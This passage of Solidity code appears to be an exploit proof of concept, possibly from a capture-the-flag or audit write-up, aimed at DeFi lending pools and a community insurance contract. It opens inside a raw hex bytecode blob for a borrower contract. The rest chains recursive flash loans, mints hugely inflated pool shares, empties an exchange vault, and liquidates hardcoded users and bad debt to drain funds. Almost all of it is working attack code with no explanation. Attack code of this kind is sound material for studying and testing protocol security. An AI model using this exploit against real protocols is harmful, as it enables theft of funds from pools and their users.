65b926101dc565b820391821161050357565b6104cd565b90565b61051f61051a61052492610508565b61006e565b6101dc565b90565b9395909692949194610538816100dc565b602063095ea7b391610549896102b9565b906105686000889561057361055c610043565b97889687958694610313565b84526004840161037b565b03925af18015610d0b57610cdf575b50602061058e876102b9565b636e553f6594906105bb60006105a3306103b0565b976105c66105af610043565b998a9687958694610313565b8452600484016103ea565b03925af1928315610cda5761063193610cae575b506105e4866102b9565b63095ea7b3906105f38961040e565b9160206105ff8a6102b9565b6370a0823190610626610611306103b0565b9261061a610043565b9a8b9485938493610313565b83526004830161041a565b03915afa958615610ca957600096610c6c575b509061066660006020949361067161065a610043565b998a9687958694610313565b84526004840161037b565b03925af1928315610c675761071c93610c3b575b5061069f6106996106946100a5565b61014c565b9161014c565b14600014610c345760005b846106c46106be6106b96100a5565b61014c565b9161014c565b14600014610c2d5760005b956106d98861040e565b60206106ea632776a6ba94936102b9565b6370a08231906107116106fc306103b0565b92610705610043565b998a9485938493610313565b83526004830161041a565b03915afa948515610c2857600095610bf8575b50803b15610bf35761075560008094610760610749610043565b98899687958694610313565b84526004840161048a565b03925af1918215610bee5761078592610bc1575b5061077f60056104b1565b906104e3565b9161078f816100dc565b602063095ea7b3916107a0896102b9565b906107c060008019956107cb6107b4610043565b97889687958694610313565b84526004840161037b565b03925af18015610bbc57610b90575b506107e4866102b9565b63b9f412b090803b15610b8b5761080891600091610800610043565b938492610313565b825281838161081960048201610274565b03925af18015610b8657610b59575b505b8261083e610838600061050b565b916101dc565b1115610a44576108686020610852886102b9565b633b1d21a290610860610043565b938492610313565b8252818061087860048201610274565b03915afa908115610a3f57600091610a11575b508361089f610899836101dc565b916101dc565b11600014610a0a575b926108b28661040e565b9063137b0fd1868693803b15610a05576108e0600080946108eb6108d4610043565b98899687958694610313565b84526004840161048a565b03925af1918215610a0057610907926109d3575b5084906104e3565b928361091c610916600061050b565b916101dc565b03610928575b5061082a565b8361093b610935836101dc565b916101dc565b106000146109ce5750825b6020610951886102b9565b636e553f65929061097e6000610966306103b0565b95610989610972610043565b97889687958694610313565b8452600484016103ea565b03925af180156109c95761099d575b610922565b6109bd9060203d81116109c2575b6109b581836102ea565b8101906103cb565b610998565b503d6109ab565b61039f565b610946565b6109f39060003d81116109f9575b6109eb81836102ea565b810190610430565b386108ff565b503d6109e1565b61039f565b6102c5565b50826108a8565b610a32915060203d8111610a38575b610a2a81836102ea565b8101906103cb565b3861088b565b503d610a20565b61039f565b935093505050610a9b610a56826100dc565b9163a9059cbb926020610a6933936100dc565b6370a0823190610a90610a7b306103b0565b92610a84610043565b97889485938493610313565b83526004830161041a565b03915afa928315610b5457600093610b1d575b50610acf600060209495610ada610ac3610043565b97889687958694610313565b84526004840161037b565b03925af18015610b1857610aec575b50565b610b0c9060203d8111610b11575b610b0481836102ea565b810190610342565b610ae9565b503d610afa565b61039f565b602093506000610b45610acf92863d8111610b4d575b610b3d81836102ea565b8101906103cb565b945050610aae565b503d610b33565b61039f565b610b799060003d8111610b7f575b610b7181836102ea565b810190610430565b38610828565b503d610b67565b61039f565b6102c5565b610bb09060203d8111610bb5575b610ba881836102ea565b810190610342565b6107da565b503d610b9e565b61039f565b610be19060003d8111610be7575b610bd981836102ea565b810190610430565b38610774565b503d610bcf565b61039f565b6102c5565b610c1a91955060203d8111610c21575b610c1281836102ea565b8101906103cb565b933861072f565b503d610c08565b61039f565b60016106cf565b60016106aa565b610c5b9060203d8111610c60575b610c5381836102ea565b810190610342565b610685565b503d610c49565b61039f565b602093929196506000610c9761066692863d8111610ca2575b610c8f81836102ea565b8101906103cb565b979293945050610644565b503d610c85565b61039f565b610cce9060203d8111610cd3575b610cc681836102ea565b8101906103cb565b6105da565b503d610cbc565b61039f565b610cff9060203d8111610d04575b610cf781836102ea565b810190610342565b610582565b503d610ced565b61039f56"; address borrower; assembly { borrower := create(0, add(bytecode, 0x20), mload(bytecode)) if iszero(borrower) { revert(0, 0) } } return ILendingPoolBorrower3(borrower); } function exploitInsurance() internal { ILendingPoolBorrower3 borrower = deployLendingPoolBorrower(); uint256 collateralAmount = 100000e6; uint256 debtAmount = 20.2e18; usdc.transfer(address(borrower), collateralAmount); borrower.borrow(weth, lendingPoolB0, lendingPoolA0, usdc, lendingManager0, collateralAmount, debtAmount); wethBorrower = address(borrower); borrower = deployLendingPoolBorrower(); collateralAmount = 100000e6; uint256 debtAmount2 = 161600e18; usdc.transfer(address(borrower), collateralAmount); borrower.borrow(nisc, lendingPoolB1, lendingPoolA1, usdc, lendingManager1, collateralAmount, debtAmount2); niscBorrower = address(borrower); } function swapCallback() external { uint256 exchangeUsdcBalance = usdc.balanceOf(address(exchangeVault)); uint256 exchangeWethBalance = weth.balanceOf(address(exchangeVault)); uint256 exchangeNiscBalance = nisc.balanceOf(address(exchangeVault)); exchangeVault.sendTo(usdc, address(this), exchangeUsdcBalance); exchangeVault.sendTo(weth, address(this), exchangeWethBalance); exchangeVault.sendTo(nisc, address(this), exchangeNiscBalance); exploit(); usdc.approve(address(exchangeVault), exchangeUsdcBalance); weth.approve(address(exchangeVault), exchangeWethBalance); nisc.approve(address(exchangeVault), exchangeNiscBalance); exchangeVault.settle(usdc, exchangeUsdcBalance); exchangeVault.settle(weth, exchangeWethBalance); exchangeVault.settle(nisc, exchangeNiscBalance); } function onCallback(bytes calldata data) external { if (data.length == 0) { usdc.transfer(address(flashLoaner), 2); weth.transfer(address(flashLoaner), 2); nisc.transfer(address(flashLoaner), 2); return; } FlashloanData memory flashloanData = abi.decode(data, (FlashloanData)); if (flashloanData.step == 0) { if (flashloanData.depth > 0) { uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1; uint256 cashLeft = lendingPoolA0.getCash(); if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft; FlashloanData memory nextFlashloanData = FlashloanData({ step: flashloanData.step, asset: flashloanData.asset, repayAmount: flashloanData.repayAmount, borrowAmount: nextBorrowAmount, depth: flashloanData.depth - 1 }); flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData)); } else { uint256 totalShares = lendingPoolA0.totalSupply(); IERC20(flashloanData.asset).approve(address(lendingPoolA0), type(uint256).max); lendingPoolA0.mint(totalShares * 1000000, address(this)); IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount); } } else if (flashloanData.step == 1) { if (flashloanData.depth > 0) { uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1; uint256 cashLeft = lendingPoolB0.getCash(); if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft; FlashloanData memory nextFlashloanData = FlashloanData({ step: flashloanData.step, asset: flashloanData.asset, repayAmount: flashloanData.repayAmount, borrowAmount: nextBorrowAmount, depth: flashloanData.depth - 1 }); flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData)); } else { uint256 totalShares = lendingPoolB0.totalSupply(); IERC20(flashloanData.asset).approve(address(lendingPoolB0), type(uint256).max); lendingPoolB0.mint(totalShares * 1000000, address(this)); IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount); } } else if (flashloanData.step == 2) { if (flashloanData.depth > 0) { uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1; uint256 cashLeft = lendingPoolA1.getCash(); if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft; nextBorrowAmount -= (flashloanData.depth == 1 ? 1 : 0); FlashloanData memory nextFlashloanData = FlashloanData({ step: flashloanData.step, asset: flashloanData.asset, repayAmount: flashloanData.repayAmount, borrowAmount: nextBorrowAmount, depth: flashloanData.depth - 1 }); flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData)); } else { flashLoaner.flashloan(IERC20(flashloanData.asset), 1, address(this), ""); usdc.approve(address(lendingPoolA1), type(uint256).max); lendingPoolA1.deposit(6000e6, address(this)); address lendingUser = 0x11c8738979A536F9F9AEE32d1724D62ac1adb7De; nisc.approve(address(lendingManager1), type(uint256).max); lendingPoolB1.updateIndex(); ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager1, niscBorrower, ILendingManager.AssetType.B); lendingManager1.liquidate(ILendingManager.AssetType.B, lendingUser); IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount); } } else if (flashloanData.step == 3) { if (flashloanData.depth > 0) { uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1; uint256 cashLeft = lendingPoolB1.getCash(); if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft; nextBorrowAmount -= (flashloanData.depth == 1 ? 1 : 0); FlashloanData memory nextFlashloanData = FlashloanData({ step: flashloanData.step, asset: flashloanData.asset, repayAmount: flashloanData.repayAmount, borrowAmount: nextBorrowAmount, depth: flashloanData.depth - 1 }); flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData)); } else { flashLoaner.flashloan(IERC20(flashloanData.asset), 1, address(this), ""); address lendingUser = 0xd906fa937Caa022Fa08B58316c59A5262c048d2C; lendingPoolA1.updateIndex(); usdc.approve(address(lendingManager1), type(uint256).max); lendingManager1.liquidate(ILendingManager.AssetType.A, lendingUser); ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager1, usdcBorrower, ILendingManager.AssetType.A); IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount); } } else if (flashloanData.step == 4) { if (flashloanData.depth > 0) { uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1; uint256 cashLeft = lendingPoolA1.getCash(); if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft; FlashloanData memory nextFlashloanData = FlashloanData({ step: flashloanData.step, asset: flashloanData.asset, repayAmount: flashloanData.repayAmount, borrowAmount: nextBorrowAmount, depth: flashloanData.depth - 1 }); flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData)); } else { uint256 totalShares = lendingPoolA1.totalSupply(); IERC20(flashloanData.asset).approve(address(lendingPoolA1), type(uint256).max); lendingPoolA1.mint(totalShares * 1000000, address(this)); IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount + 1); } } else if (flashloanData.step == 5) { if (flashloanData.depth > 0) { uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1; uint256 cashLeft = lendingPoolB1.getCash(); if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft; FlashloanData memory nextFlashloanData = FlashloanData({ step: flashloanData.step, asset: flashloanData.asset, repayAmount: flashloanData.repayAmount, borrowAmount: nextBorrowAmount, depth: flashloanData.depth - 1 }); flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData)); } else { uint256 totalShares = lendingPoolB1.totalSupply(); IERC20(flashloanData.asset).approve(address(lendingPoolB1), type(uint256).max); lendingPoolB1.mint(totalShares * 1000000, address(this)); IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount); } } } } ``` </details>